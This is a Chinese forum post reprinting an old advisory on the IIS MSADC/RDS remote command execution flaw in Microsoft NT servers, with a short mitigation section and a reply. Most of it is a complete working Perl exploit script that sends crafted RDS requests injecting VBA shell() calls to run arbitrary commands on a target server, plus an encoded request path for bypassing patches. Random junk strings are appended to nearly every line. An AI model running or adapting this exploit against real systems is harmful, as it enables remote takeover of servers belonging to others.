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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _x>u "w  
8,H  
涉及程序: 6Es-{u(,  
Microsoft NT server lc'Jn$O@  
}LE/{]A  
描述: k r/[|.bq  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 CE+\|5u W  
vu*08<M~i|  
详细: WM"I r1  
如果你没有时间读详细内容的话,就删除: czT$mKj3  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Aimgfxag  
有关的安全问题就没有了。 ukPV nk  
zz$*upxK  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 4f/8APA  
WRNO) f<  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 5^5h%~)}  
关于利用ODBC远程漏洞的描述,请参看: +^%F8GB  
, R]7{7$  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm UV:_5"-  
,0 ])]  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 |fa3;8!96  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp $60+}B`m  
Ig=4Z*au!g  
这里不再论述。 L>PpXTWwy  
gfp#G,/B  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: p2cKtk+  
i,V~5dE[I<  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset :0vNg:u+  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! . Bv;Zv  
|w:\fK[  
bS0LjvY9g  
#将下面这段保存为txt文件,然后: "perl -x 文件名" g{nu3F}8){  
2R)Y}*VX  
#!perl le1'r>E$  
# s^E%Uk m  
# MSADC/RDS 'usage' (aka exploit) script K!'9wt  
# he!e~5<@y  
# by rain.forest.puppy ]pFYAe ?  
# u9?85  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 7o ;}"Y1  
# beta test and find errors! Iw48+krm>  
{Ynr(J.  
use Socket; use Getopt::Std; p;C`n)7P7  
getopts("e:vd:h:XR", \%args); 0z%]HlPg  
6>KDK<5NQ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 3s$m0  
PDtaL  
if (!defined $args{h} && !defined $args{R}) { <Z}2A8mjY  
print qq~ @90)  
Usage: msadc.pl -h <host> { -d <delay> -X -v } > ^D10Nf*  
-h <host> = host you want to scan (ip or domain) ]ErAa"?  
-d <seconds> = delay between calls, default 1 second :vm*miOF  
-X = dump Index Server path table, if available *O+N4tq  
-v = verbose dhV =;'   
-e = external dictionary file for step 5 _I75[W!  
o^lKM?t  
Or a -R will resume a command session [P"#?7 N  
*P9)M%  
~; exit;} F9Mv$ g79  
&%FpNU9  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; E5Z,4B  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} IV!&jL  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Pxl7zz&pl=  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); &a7KdGP8V  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 0Y[mh@(  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } l0]zZcpt  
#N7@p }P  
if (!defined $args{R}){ $ret = &has_msadc; "tm2YUG},s  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} W4X=.vr  
K /. ;N.9  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" >/-<,,<\C  
. "cmd /c "; @m#7E4 +  
$in=<STDIN>; chomp $in; 02bv0  
$command="cmd /c " . $in ; o-49o5:1  
?7(`2=J  
if (defined $args{R}) {&load; exit;} St'3e<  
|wWBV{^  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; `a  
&try_btcustmr; zQ5'q  
BQ &|=a6  
print "\nStep 2: Trying to make our own DSN..."; ;}1*M !  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; # bP1rQ0  
PT|t6V"wd  
print "\nStep 3: Trying known DSNs..."; / bfLox  
&known_dsn; >^kRIoBkg  
: 3*(kb1)&  
print "\nStep 4: Trying known .mdbs..."; tP7l ;EX4  
&known_mdb; IJ[#$I+Z%  
z[[|'02{  
if (defined $args{e}){ 1dHN<xy  
print "\nStep 5: Trying dictionary of DSN names..."; "Q-TLN5(  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } c]#F^(-A`  
ub7|'+5  
print "Sorry Charley...maybe next time?\n"; /+iU1m'(  
exit; Uz[#t1*  
?%#3p[  
############################################################################## [gx6e 44  
wxN'Lv=R  
sub sendraw { # ripped and modded from whisker t4~Bn<=  
sleep($delay); # it's a DoS on the server! At least on mine... P^T]Ubv"  
my ($pstr)=@_; -n+ =[M  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || eG=Hyc  
die("Socket problems\n"); E2+O-;VN  
if(connect(S,pack "SnA4x8",2,80,$target)){ ALJ^XvB4V  
select(S); $|=1; auK*\Wjm?  
print $pstr; my @in=<S>; L >Y%$|4  
select(STDOUT); close(S); ~*ST fyFw  
return @in; _e7 Y R+  
} else { die("Can't connect...\n"); }} [y&yy|*\  
aF]4%E  
############################################################################## #J# x,BLI  
/X9Kg  
sub make_header { # make the HTTP request Me_.X_  
my $msadc=<<EOT OXT 5 y)   
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 -Uh3A\#(  
User-Agent: ACTIVEDATA ewvFUD'j  
Host: $ip T2Ms/1FH/@  
Content-Length: $clen { ZrIA+eH  
Connection: Keep-Alive zU}Ru&T9  
8t25wPlx  
ADCClientVersion:01.06 )E;B'^RVR  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 K!=Y4"5%  
33:{IV;k  
--!ADM!ROX!YOUR!WORLD! 6Q"fRXM   
Content-Type: application/x-varg Gx,<|v  
Content-Length: $reqlen 4l_!OUvt  
)7f;FWI  
EOT (_Ph{IN  
; $msadc=~s/\n/\r\n/g; !?#B*JGFS  
return $msadc;} CD]"Q1 t}  
U9[QdC  
############################################################################## Na=.LW-ma=  
vz[oy|{F  
sub make_req { # make the RDS request mu@He&w"  
my ($switch, $p1, $p2)=@_; {(Jbgsxm  
my $req=""; my $t1, $t2, $query, $dsn; avxr|uk  
Z8I  Y!d  
if ($switch==1){ # this is the btcustmr.mdb query 4L)#ku$jW  
$query="Select * from Customers where City=" . make_shell(); Qu"zzb"k  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . vgKZr  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Gl; xd  
=r:(ga  
elsif ($switch==2){ # this is general make table query HQGn[7JW  
$query="create table AZZ (B int, C varchar(10))"; Rr A9@95+  
$dsn="$p1";} .z0NMmz0z  
+&bJhX  
elsif ($switch==3){ # this is general exploit table query m~c6b{F3Z-  
$query="select * from AZZ where C=" . make_shell(); VC~1QPC9  
$dsn="$p1";} }w&W\g+E$  
w=JO$7  
elsif ($switch==4){ # attempt to hork file info from index server icS% ])3LF  
$query="select path from scope()"; ?V&# nA  
$dsn="Provider=MSIDXS;";} s3<gq x-&r  
W2yNwB+{  
elsif ($switch==5){ # bad query nM#/uuRl|  
$query="select"; N(c`h  
$dsn="$p1";} @@uKOFA?  
-j& A;G  
$t1= make_unicode($query); .=G ?Zd  
$t2= make_unicode($dsn); w eX%S&#?  
$req = "\x02\x00\x03\x00"; _?~EWT   
$req.= "\x08\x00" . pack ("S1", length($t1)); F)K&a  
$req.= "\x00\x00" . $t1 ; ` ES-LLhVf  
$req.= "\x08\x00" . pack ("S1", length($t2)); ~xPU#m<  
$req.= "\x00\x00" . $t2 ; HV21=W  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; KJ (|skO  
return $req;} =2XAQiUR\  
-,:^dxE'  
############################################################################## ZQ1,6<^9i[  
}jdMo83  
sub make_shell { # this makes the shell() statement r_>]yp  
return "'|shell(\"$command\")|'";} -<0xS.^  
8SGqDaRt  
############################################################################## " l;=jk]  
8f`r!/j  
sub make_unicode { # quick little function to convert to unicode H^ds<I<)  
my ($in)=@_; my $out; E5iNuJj=f  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } +,c]FAx4  
return $out;} MZd?cS  
LS:^K  
############################################################################## 7H])2:)  
u!CcTE*  
sub rdo_success { # checks for RDO return success (this is kludge) {q!GTO  
my (@in) = @_; my $base=content_start(@in); (4f]<Qt  
if($in[$base]=~/multipart\/mixed/){ {e!3|&AX  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ~v>3lEGn*  
return 0;} RoFoEp  
.~ O- <P#  
############################################################################## A'6-E{  
S\M+*:7  
sub make_dsn { # this makes a DSN for us KOhK#t>H@0  
my @drives=("c","d","e","f"); awB+B8^s  
print "\nMaking DSN: "; U%rEW[j  
foreach $drive (@drives) { A<}nXHs-  
print "$drive: "; YQ|o0>  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . R :*1Y\o(  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" `(uN_zvH  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); J.(mg D  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; <s=i5t My5  
return 0 if $2 eq "404"; # not found/doesn't exist DFMf" _p  
if($2 eq "200") { %w#z   
foreach $line (@results) { [Smqe>U 1  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Nr"gj$v  
} return 0;} A$3ll|%j  
W"!{f  
############################################################################## hsAk7KC  
sa?s[  
sub verify_exists { .^xQtnq  
my ($page)=@_; Vd;N T$S$  
my @results=sendraw("GET $page HTTP/1.0\n\n"); hG2WxYk  
return $results[0];} |mQC-=6t;Y  
qm/#kPlM  
############################################################################## H krhd   
XUVBD;"f!  
sub try_btcustmr { v%muno,  
my @drives=("c","d","e","f"); .4J7 ^l  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9fy[%M  
7Y.mp9,  
foreach $dir (@dirs) { C1==a FD  
print "$dir -> "; # fun status so you can see progress Q_6v3no1  
foreach $drive (@drives) { BU<Qp$ &  
print "$drive: "; # ditto *+TO%{4  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; h$]nfHi_Q  
$reqlenlen=length( "$reqlen" ); 14`S9SL{V  
$clen= 206 + $reqlenlen + $reqlen; eRm*+l|?  
/H*[~b   
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); LFAefl\  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} G%fXHAs.+  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} .npD<*  
>r>pM(h  
##############################################################################  c?*x2Vk  
KK?R|1VK9  
sub odbc_error { u p zBd]  
my (@in)=@_; my $base; V]Kk =  
my $base = content_start(@in); 0DaKd<Scv  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 0 s@>e  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D}rnp wp{  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; s54AM]a{j  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bg2r  
return $in[$base+4].$in[$base+5].$in[$base+6];} vt#&YXu{A  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; zmg :Z p=  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 1()pKBHf  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} T"e"?JSRJ  
)TcD-Jr  
############################################################################## ^7Ebg5<  
!jR 1!i   
sub verbose { p'kB1)~|  
my ($in)=@_; Jq:Wt+a  
return if !$verbose; qFp]jbU  
print STDOUT "\n$in\n";}  GPrq(  
a+B3`6  
############################################################################## xB_7 8X1  
S]ed96V v  
sub save { )0\D1IFJ  
my ($p1, $p2, $p3, $p4)=@_; v2ab84 C*  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ,Vy_%f  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; $\aJ.N6rb  
close OUT;} 4|hfzCjMI  
7g4IAsoD  
############################################################################## ?NxaJ^  
|[@v+koq  
sub load { 0?''v>%  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; :cA8[!  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Hv*+HUc(:  
@p=<IN>; close(IN); _4LDzVjNRe  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ?]\v%[ho  
$target= inet_aton($ip) || die("inet_aton problems"); ybcCq]cgt  
print "Resuming to $ip ..."; +FC+nE}O  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; #.2} t0*]5  
if($p[1]==1) { :Vrj[i-{  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ynn>d  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; POQ4&ChA  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ~PX#' Jr  
if (rdo_success(@results)){print "Success!\n";} K7ZRj\(CJv  
else { print "failed\n"; verbose(odbc_error(@results));}} ,IPryI   
elsif ($p[1]==3){ /BrbP7  
if(run_query("$p[3]")){ ;It1i`!R  
print "Success!\n";} else { print "failed\n"; }} ahR-^^'$  
elsif ($p[1]==4){ p[%B#(]9,  
if(run_query($drvst . "$p[3]")){ ?:7.3{|Aq  
print "Success!\n"; } else { print "failed\n"; }} vv D515i  
exit;} q+)s  
]x@36Ok)A  
############################################################################## rW2l+:@c  
>Ft:&N9L{  
sub create_table { BAy)P1  
my ($in)=@_; >L^ 2Z*  
$reqlen=length( make_req(2,$in,"") ) - 28; -l <[CI  
$reqlenlen=length( "$reqlen" ); FXbalQ?^  
$clen= 206 + $reqlenlen + $reqlen; QaLVIsnfN  
my @results=sendraw(make_header() . make_req(2,$in,"")); DuRC1@e  
return 1 if rdo_success(@results); +L pMNnl6  
my $temp= odbc_error(@results); verbose($temp); 9-.`~v  
return 1 if $temp=~/Table 'AZZ' already exists/; 5r^u7k  
return 0;} 2SYV2  
nC\LDeKc  
############################################################################## N#^o,/  
1ifPc5j}  
sub known_dsn { ?dvcmXR  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go S^)xioKsJ  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", \; zix(N[5  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", `llSHsIkXb  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); !I Byv%m&\  
cK t8e^P  
foreach $dSn (@dsns) { 4K!@9+Mz  
print "."; cC$E"m  
next if (!is_access("DSN=$dSn")); `3vt.b  
if(create_table("DSN=$dSn")){ b@[\+P] "  
print "$dSn successful\n"; ?r R, h{~  
if(run_query("DSN=$dSn")){ H?j}!JzAC  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { -l$-\(,M`#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ;CA7\&L>  
nn/_>%Y  
############################################################################## <a=k"'0  
ig?Tj4kD  
sub is_access { okD7!)cr=  
my ($in)=@_; !qJ|`o Y  
$reqlen=length( make_req(5,$in,"") ) - 28; #po}Y  
$reqlenlen=length( "$reqlen" ); 0GnbE2&  
$clen= 206 + $reqlenlen + $reqlen; BoXGoFn  
my @results=sendraw(make_header() . make_req(5,$in,"")); Jek)`D  
my $temp= odbc_error(@results); @W!cC#u  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); D?P1\<A~  
return 0;} )%9 P ;/  
$c24lJ#/  
############################################################################## ^/jALA9!  
]|/\Sd  
sub run_query { !Baq4V?KN  
my ($in)=@_; ysQ8==`38i  
$reqlen=length( make_req(3,$in,"") ) - 28; CfjVx   
$reqlenlen=length( "$reqlen" ); ~[ x}  
$clen= 206 + $reqlenlen + $reqlen; !S[7IBk%  
my @results=sendraw(make_header() . make_req(3,$in,"")); sme!!+Rd  
return 1 if rdo_success(@results); S)*!jI  
my $temp= odbc_error(@results); verbose($temp); |I=\+P}s  
return 0;} )-d &XN7  
B#(2,j7M  
############################################################################## mYqRN1%  
qjd8Q  
sub known_mdb { t 5  
my @drives=("c","d","e","f","g"); #'Lt_Yf!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); SK {ALe  
my $dir, $drive, $mdb; T\o!^|8  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; YGr^uTQb  
qU:Mvb^5&  
# this is sparse, because I don't know of many {;ur~KE  
my @sysmdbs=( "\\catroot\\icatalog.mdb", X&({`Uw<K  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 06vxsT@  
"\\system32\\certmdb.mdb", }5sJd>u5^  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% UP |#WegO  
 IQCIc@5  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", dtUt2r)6L;  
"\\cfusion\\cfapps\\forums\\forums_.mdb", k{j (Gb2sp  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", D3-H!TFpDb  
"\\cfusion\\cfapps\\security\\realm_.mdb", 4) ~ GHb  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", i:,37INMt  
"\\cfusion\\database\\cfexamples.mdb", "6 fTZ<  
"\\cfusion\\database\\cfsnippets.mdb", `)s>},8W!  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 7= x]p  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", z'ZGN{L  
"\\cfusion\\brighttiger\\database\\cleam.mdb", $@:z4S(  
"\\cfusion\\database\\smpolicy.mdb", \!,@pe_  
"\\cfusion\\database\cypress.mdb", aqAWaO  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", o%\pI%  
"\\website\\cgi-win\\dbsample.mdb", (3+:/,{'$  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", sz%'=J~!V  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" e6WKZ~ v o  
); #these are just 6v}WdK  
foreach $drive (@drives) { M/mUY  
foreach $dir (@dirs){ P(&9S`I  
foreach $mdb (@sysmdbs) { VwV`tKit  
print "."; |lhVk\X  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ SmYY){AQ/  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; RAW(lZ(  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ _oJq32  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; $zuemjW3p  
} else { print "Something's borked. Use verbose next time\n"; }}}}} _P*<T6\J>  
7I_lTu(  
foreach $drive (@drives) { Y l1sAf/  
foreach $mdb (@mdbs) { s8]9OG3g  
print "."; csF!*!tta  
if(create_table($drv . $drive . $dir . $mdb)){ S<V__Sv  
print "\n" . $drive . $dir . $mdb . " successful\n"; PME ?{%&  
if(run_query($drv . $drive . $dir . $mdb)){ 0cm+:  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; , 1{)B  
} else { print "Something's borked. Use verbose next time\n"; }}}}  uM9[  
} '9MtIcNb  
,pz^8NJAI  
############################################################################## <H)I06];  
aGY F\7  
sub hork_idx { 51k^?5cO  
print "\nAttempting to dump Index Server tables...\n"; F! ;0eS"xp  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; A+lP]Oy0S  
$reqlen=length( make_req(4,"","") ) - 28; v8xNtUxN  
$reqlenlen=length( "$reqlen" ); 6T5nr  
$clen= 206 + $reqlenlen + $reqlen; Cq,ox'kGl  
my @results=sendraw2(make_header() . make_req(4,"","")); n)7olP0p  
if (rdo_success(@results)){ 1&@s2ee4   
my $max=@results; my $c; my %d; 6KD  
for($c=19; $c<$max; $c++){ jWd 7>1R?  
$results[$c]=~s/\x00//g; <([1(SY2e  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; .iB?:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 'e4  ;,m  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; RqIic\aD  
$d{"$1$2"}="";} =-c"~4  
foreach $c (keys %d){ print "$c\n"; } >}*i Qq  
} else {print "Index server doesn't seem to be installed.\n"; }} pGy(JvMw"  
u8Au `  
############################################################################## ^p0BeSRiy;  
FasA f( 3  
sub dsn_dict { {yy ^DlHb  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); "s]c79t  
while(<IN>){ bX:ARe O  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^< ,Np+  
next if (!is_access("DSN=$dSn")); z6K"}C%  
if(create_table("DSN=$dSn")){ qdB@P  
print "$dSn successful\n"; ':fq  
if(run_query("DSN=$dSn")){ x-5XOqD{'  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { f-?00*T  
print "Something's borked. Use verbose next time\n";}}} M<,E[2op  
print "\n"; close(IN);} D 5qCn^R  
1|VnPQqA  
############################################################################## wPDA_ns~  
wyk4v}  
sub sendraw2 { # ripped and modded from whisker s e9X  
sleep($delay); # it's a DoS on the server! At least on mine... fL8+J]6A6  
my ($pstr)=@_; p*rBT,'  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || pNo<:p  
die("Socket problems\n"); N.|Zh+!  
if(connect(S,pack "SnA4x8",2,80,$target)){ h,q%MZ==^s  
print "Connected. Getting data"; L_.BcRy  
open(OUT,">raw.out"); my @in; 9IKFrCO9,  
select(S); $|=1; print $pstr; f!~gfnn  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} =>Vo|LBoe  
close(OUT); select(STDOUT); close(S); return @in; -i@1sNx&'  
} else { die("Can't connect...\n"); }} 9&=~_,wJd  
`/'Hq9$F<"  
############################################################################## 5A:mu+Iz6H  
8VJUaL@  
sub content_start { # this will take in the server headers xV'\2n=1T  
my (@in)=@_; my $c; l K%pxqx  
for ($c=1;$c<500;$c++) { TE4{W4I  
if($in[$c] =~/^\x0d\x0a/){ <a|$ Bl  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Ctxs]S tU%  
else { return $c+1; }}} ;f7(d\=y  
return -1;} # it should never get here actually q@ >s#  
|2\6X's  
############################################################################## [ds:LQq)/  
a[:0<Ek  
sub funky { n^|n6(EZ  
my (@in)=@_; my $error=odbc_error(@in); =Uta5$\a)  
if($error=~/ADO could not find the specified provider/){ LqTyE  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; qWf7k+7G  
exit;} K+D`U6&  
if($error=~/A Handler is required/){ h#?L6<*tm  
print "\nServer has custom handler filters (they most likely are patched)\n"; Us'm9 J  
exit;} rS>JzbWa  
if($error=~/specified Handler has denied Access/){ Z;bzp3v  
print "\nServer has custom handler filters (they most likely are patched)\n"; , e{kC  
exit;}} ]l>)Di#*o  
8/f ,B:by  
############################################################################## ^o]ZDc  
T^8t<S@`  
sub has_msadc { 1Fn+nDn O6  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); |b{XnD_g  
my $base=content_start(@results); tFL/zqgm  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); &}S#6|[i  
return 0;} {Q[{H'Oa  
^WP`;e  
######################## FFl[[(`%D  
<J@Y=#G$2  
W6D|Rr.q  
解决方案: ow*) 1eo  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ci>+Zi6  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 NH$a:>  
NyI0 []z  
拿出来充数 哈哈
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